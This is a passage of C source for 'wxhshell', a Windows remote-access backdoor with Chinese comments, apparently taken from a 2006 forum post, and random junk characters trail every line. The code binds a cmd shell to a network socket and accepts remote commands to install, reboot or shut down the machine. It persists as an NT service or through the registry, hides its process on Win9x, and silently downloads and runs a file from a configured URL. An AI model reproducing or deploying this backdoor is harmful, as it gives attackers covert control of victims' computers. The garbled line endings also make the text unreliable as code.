      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); c*bvZC^6  
    break; je] DR~  
  } '&IGdB I  
  // 安装 I"Oq< _  
  case 'i': { o Pe|Gfv\G  
    if(Install()) x#1 Fi$.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); c~ss^[qx|  
    else  RD$:.   
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2W AeSUX  
    break; ?qh-#,O9B  
    } "{q#)N  
  // 卸载 #{i*9'  
  case 'r': { !_fDL6a-  
    if(Uninstall()) WAu>p3   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); NxP(&M(  
    else Kz HYh  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); lC<;Q*Y  
    break; ' zyw-1  
    } i|:!I)(lh  
  // 显示 wxhshell 所在路径 e3I""D{)[=  
  case 'p': { /jv/qk3i  
    char svExeFile[MAX_PATH]; zsL@0]e&  
    strcpy(svExeFile,"\n\r"); D|uvgu2  
      strcat(svExeFile,ExeFile); GppCrQ%Ra|  
        send(wsh,svExeFile,strlen(svExeFile),0); =L W!$p  
    break; c_8&4  
    } <WXVUEea  
  // 重启 x,B] J4  
  case 'b': { 3>O|i2U  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); %:3XYO.w-  
    if(Boot(REBOOT)) F*72g)hVh  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); RQVu~7d[  
    else { VjQ&A#   
    closesocket(wsh); H0l1=y  
    ExitThread(0); HNzxF nh  
    } q*I*B1p[m  
    break; UU=]lWib  
    } 0eY!Z._^  
  // 关机 *22Vc2[i;  
  case 'd': { qO6M5g:   
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); wgl<JO  
    if(Boot(SHUTDOWN)) ) Sn0Y B  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); kK &w5'  
    else { WzIUHNn'I  
    closesocket(wsh); IJ^~,+  
    ExitThread(0); atL<mhRz  
    } BP/nK.  
    break; p2vN=[g9)  
    } J%"BCbxW~B  
  // 获取shell #asg5 }  
  case 's': { qC`}vr|Z  
    CmdShell(wsh); C- .;m  
    closesocket(wsh); F#Lo^ 8  
    ExitThread(0); rc_m{.b  
    break; M @5&.  
  } ] !/  
  // 退出 J0xHpe  
  case 'x': { eL3 _Lz  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); zxR]+9Zh  
    CloseIt(wsh); :_e[xB=Yy  
    break; ;aQ`` B  
    } _ *f>UW*,  
  // 离开 @*z"Hi>4  
  case 'q': { KC;cu%H  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); I&-r^6Yx  
    closesocket(wsh); +_GS@)L`%  
    WSACleanup(); 3^8Cc(bk  
    exit(1); 4]o+)d.`(  
    break; -.Wcz|  
        } W!{RJWe  
  } D<WnPLA$g  
  } Xa`Q;J"h  
5kGniG?T#  
  // 提示信息 F0$w9p  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ale'-V)5  
} Fp\;j\pfw  
  } )qy?x7   
VN`.*B|9[  
  return; ~I|| "$R  
} IkCuw./  
"Zp&7hI  
// shell模块句柄 ] Lv3XMa  
int CmdShell(SOCKET sock) )eZK/>L&  
{ ocGrB)7eD  
STARTUPINFO si; dl4n -*h  
ZeroMemory(&si,sizeof(si)); H/o_?qK  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; K43%9=sM  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; $DHE%IN`  
PROCESS_INFORMATION ProcessInfo; q5;dQ8Y ?  
char cmdline[]="cmd"; eHr0],  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); N/tcW  
  return 0; E)-;sFz  
} 7zu\tCWb  
]8A*uyi  
// 自身启动模式 `~XksyT  
int StartFromService(void) }e\"VhAl/  
{ 2!#g\"  
typedef struct o/Ismg-p  
{ 'z|Da&d P  
  DWORD ExitStatus; UoxlEec  
  DWORD PebBaseAddress; g5y+F]'I  
  DWORD AffinityMask; Z^kE]Ir#EV  
  DWORD BasePriority; A8-[EBkK  
  ULONG UniqueProcessId; 8~Kq "wrbu  
  ULONG InheritedFromUniqueProcessId; Ci`o;KVj  
}   PROCESS_BASIC_INFORMATION; DNGyEC  
O#)1 zD}  
PROCNTQSIP NtQueryInformationProcess; ,L& yKS@  
OAXA<  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; o `YBz~2  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; $;^|]/-  
5*44QV  
  HANDLE             hProcess; iT'doF  
  PROCESS_BASIC_INFORMATION pbi; ;W- A2g  
)LGVR 3#  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); mG~k f]Y  
  if(NULL == hInst ) return 0; 'I,a 29  
URb8[~dR:  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); )+N{D=YM  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); \,13mB6  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); MT!Y!*-5  
"z9C@T  
  if (!NtQueryInformationProcess) return 0; }ny7LQ  
{Z2nc)|7C  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); U p@^C"  
  if(!hProcess) return 0; |enLv12Gm  
{0,b[  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; f2e;N[D  
}uma<b  
  CloseHandle(hProcess); !q&Td  
[q|W*[B:@  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); t+v %%N_  
if(hProcess==NULL) return 0; 7(}'jZ  
lp(2"$nQ  
HMODULE hMod; Gwk$<6E  
char procName[255]; xt|^~~ /  
unsigned long cbNeeded; YrnC'o`  
u\ _yjv#  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); x$q}lJv_  
#G#gc`S-,  
  CloseHandle(hProcess); *v%y;^{k[/  
#@oB2%&X?  
if(strstr(procName,"services")) return 1; // 以服务启动 y'm!h?8  
sT;wHtU  
  return 0; // 注册表启动 'Q=;I  
} z% bH?1^o  
Z3&}C h  
// 主模块 wp@_4Iq1$  
int StartWxhshell(LPSTR lpCmdLine) (iq>]-=<  
{ 9s<4`oa  
  SOCKET wsl; Cn/WNCzst&  
BOOL val=TRUE; ulxlh8=  
  int port=0; U;W9`JT<.f  
  struct sockaddr_in door; nF'YG+;|@  
P!]uJ8bi  
  if(wscfg.ws_autoins) Install();  ,]EhDW6  
F `7 v  
port=atoi(lpCmdLine); g ` s|]VNt  
0 h A:=r  
if(port<=0) port=wscfg.ws_port; >Lo\?X~  
>e {1e  
  WSADATA data; q;,lv3I  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; bkd`7(r  
u@dvFzc  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   <<!fA ><W  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 'S3<' X  
  door.sin_family = AF_INET; AJ%E.+@=r  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); " AUSgVE+h  
  door.sin_port = htons(port); u9~5U9]O%6  
A1/@KC"&{G  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { :&wb+tV  
closesocket(wsl); xnMcxys~  
return 1; d Gp7EB`  
} _Z(t**Zh6y  
1dLc/, |  
  if(listen(wsl,2) == INVALID_SOCKET) { (T*$4KGV  
closesocket(wsl); OK]QDb  
return 1; ,gw9R9 x_  
} <7]HM5h  
  Wxhshell(wsl); SAdT#0J  
  WSACleanup(); 2 `>a(  
cCZp6^/<x  
return 0; y7hDMQ c'  
>$'z4TC\T  
} d%|l)JF*5  
8</wQ6&|  
// 以NT服务方式启动 {R ),7U8  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) vu0Ue  
{ {V/>5pz4e  
DWORD   status = 0; yU!1q}L!  
  DWORD   specificError = 0xfffffff; G$f%]A1  
I4"p]>Y"  
  serviceStatus.dwServiceType     = SERVICE_WIN32; qS\#MMsTd  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; f(pq`v^-n  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; =|-= 4.b+|  
  serviceStatus.dwWin32ExitCode     = 0; 44} 5o  
  serviceStatus.dwServiceSpecificExitCode = 0; {]+t<  
  serviceStatus.dwCheckPoint       = 0; Mq$K[]F  
  serviceStatus.dwWaitHint       = 0; ULAr!  
eMRH*MyD  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); B`mJT*B[  
  if (hServiceStatusHandle==0) return; U|3!ixk>>w  
Nhs!_-_I  
status = GetLastError(); ]"_c-=  
  if (status!=NO_ERROR) E@ :9|5  
{ U=bx30brh%  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; >S I'Q7k  
    serviceStatus.dwCheckPoint       = 0; M,fL(b;2  
    serviceStatus.dwWaitHint       = 0; %C_tBNE <  
    serviceStatus.dwWin32ExitCode     = status; o^/ #i`)  
    serviceStatus.dwServiceSpecificExitCode = specificError; |@AXW   
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); X6cn8ak 3  
    return; [@Ac#  
  } fF)Q;~_VA  
bKpy?5&>  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; +b-ON@9]J`  
  serviceStatus.dwCheckPoint       = 0; w~u{"E$  
  serviceStatus.dwWaitHint       = 0; W,@ F!8  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); V#oz~GMB  
} x{:U$[_  
_uO$=4Sd  
// 处理NT服务事件,比如:启动、停止 ,m<YS MKX  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 9InP2u\&:  
{ >T[/V3Z~K  
switch(fdwControl) KdCrI@^  
{ Xd+H()nR  
case SERVICE_CONTROL_STOP: vb=]00c  
  serviceStatus.dwWin32ExitCode = 0; ~Y/A]N86,  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Em(_W5 ND{  
  serviceStatus.dwCheckPoint   = 0;  57q=  
  serviceStatus.dwWaitHint     = 0; |E >h*Y  
  { ,4H? +|!  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); NTt4sWP!I  
  } i pn-HUrE@  
  return; aLh(8;$  
case SERVICE_CONTROL_PAUSE: VwI  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; .~o{i_JH  
  break; eaFkDl  
case SERVICE_CONTROL_CONTINUE: hTDGgSG^  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; I:jIChT  
  break; /f[Ek5/-0  
case SERVICE_CONTROL_INTERROGATE: 3wv@wqx  
  break; rL-R-;Ca  
}; @SD XJJ h  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Leb Kzqe  
} 1)= H2n4)  
y8$3kXh  
// 标准应用程序主函数 |1%% c %  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) t+KW=eW  
{ %!\=$s}g  
5b:1+5iF-  
// 获取操作系统版本 ?V2P]|  
OsIsNt=GetOsVer(); Ln# o:"E  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 6!]@ S|vDX  
@_C]5D^J^~  
  // 从命令行安装 TAUl{??,  
  if(strpbrk(lpCmdLine,"iI")) Install(); "zq'nV=  
fJ/INL   
  // 下载执行文件 j9k:!|(2'  
if(wscfg.ws_downexe) { 9Vm aB  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) L~5f*LE$1  
  WinExec(wscfg.ws_filenam,SW_HIDE); 3g;Y  
} d7kE}{,  
oSrA4g  
if(!OsIsNt) { fZ-"._9UyH  
// 如果时win9x,隐藏进程并且设置为注册表启动 J6CSu7Voa  
HideProc(); 1e[?}q]*  
StartWxhshell(lpCmdLine); x~5,v5R^]  
} qA '^b~  
else V<9L-7X 8  
  if(StartFromService()) p-"C^=l  
  // 以服务方式启动 Qp<*o r@  
  StartServiceCtrlDispatcher(DispatchTable); >l 0aME@-0  
else D]E=0+  
  // 普通方式启动 6{5T^^x?<  
  StartWxhshell(lpCmdLine); 'yCVB&`b  
FC+-|1?C  
return 0; Ou1kSG|kM  
}
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只看该作者 1 发表于: 2006-10-10
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